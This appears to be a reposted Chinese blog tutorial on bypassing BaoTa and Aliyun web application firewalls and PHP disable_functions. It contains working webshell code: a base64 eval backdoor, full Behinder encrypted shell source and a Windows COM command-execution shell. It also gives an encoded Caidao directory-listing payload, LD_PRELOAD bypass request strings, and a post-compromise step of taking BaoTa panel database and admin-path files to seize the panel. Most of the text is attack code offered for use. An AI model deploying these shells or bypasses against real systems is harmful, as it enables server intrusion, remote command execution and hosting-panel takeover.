WAF攻防工具行为免杀&命令执行绕过&面板安全

Posted 遗憾zzz

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WAF攻防工具行为免杀&命令执行绕过&面板安全相关的知识,希望对你有一定的参考价值。

一、webshell工具-BT&Aliyun-功能绕过

webshell管理工具
冰蝎:https://github.com/rebeyond/Behinder/releases
哥斯拉:https://github.com/BeichenDream/Godzilla/releases
蚁剑:https://github.com/AntSwordProject/antSword/releases
菜刀:https://github.com/raddyfiy/caidao-official-version/releases

功能绕过
代码:<?php eval(base64_decode($_POST['x']));?>
请求:http://test.xiaodi8.com/tmp/test.php
发包:
x=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=L3d3dy93d3dyb290L3Rlc3QueGlhb2RpOC5jb20=

对php的版本有要求比如 php5.x版本,这里绕过的关键是宝塔对菜刀base64加密函数进行了拦截,所以我们只需在传输的时候,传输base64加密的数据包,让再解密就不会被拦截

冰蝎shell&哥斯拉shell 直接解决被拦截

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

二、Linux-无WAF-绕disable_function

在没有WAF情况下,PHP5.X版本disable_function默认是空,PHP7.X默认有函数设置
在有BT_WAF下,任何PHP安装版本均设置好了disable_function禁用的函数
绕过这个disable_function,需要看对方的操作系统

1.蚁剑插件绕过

2.GIthub Bypass Disable Functions Shell项目

项目地址:https://github.com/l3m0n/Bypass_Disable_functions_Shell
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

参考:https://blog.csdn.net/qq_36241198/article/details/117405426

payload参数绕过
/bypass_disablefunc.php?cmd=id&outpath=/tmp/xx&sopath=/var/www/html/bypass_disablefunc_x64.so

三、Windows-无WAF-绕disable_function

条件需要启用phpCOM组件,extension=php_com_dotnet.dll

payload 参数绕过
http://192.168.1.1:80/bypass.php?a=ver

exp

<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

四、Windows-BT_WAF-绕disable_function&BT面板

在获取到权限之后,就能够进行信息收集到敏感文件:
default.db 宝塔的数据信息库文件
admin_path.pl 宝塔访问地址的URL文件

拿到这两个文件之后,就相当于获得宝塔的一个面板权限,那么绕不绕disable_function已经没有关系了

BT面板安全问题-存在windows及linux非最新版本上

最后总结:
Linux-无WAF-绕disable_function-可以
Linux-BT_WAF-绕disable_function-不行
Windows-无WAF-绕disable_function-可以
Windows-BT_WAF-绕disable_function-面板安全

以上是关于WAF攻防工具行为免杀&命令执行绕过&面板安全的主要内容,如果未能解决你的问题,请参考以下文章

Webshell免杀绕过waf

WAF攻防漏洞利用HPP污染&分块传输&垃圾数据

[9期]软WAF上传绕过+webshell免杀

小马的免杀

Windows免杀小结(工具篇)

关于《WAF攻防之SQL注入篇》的回应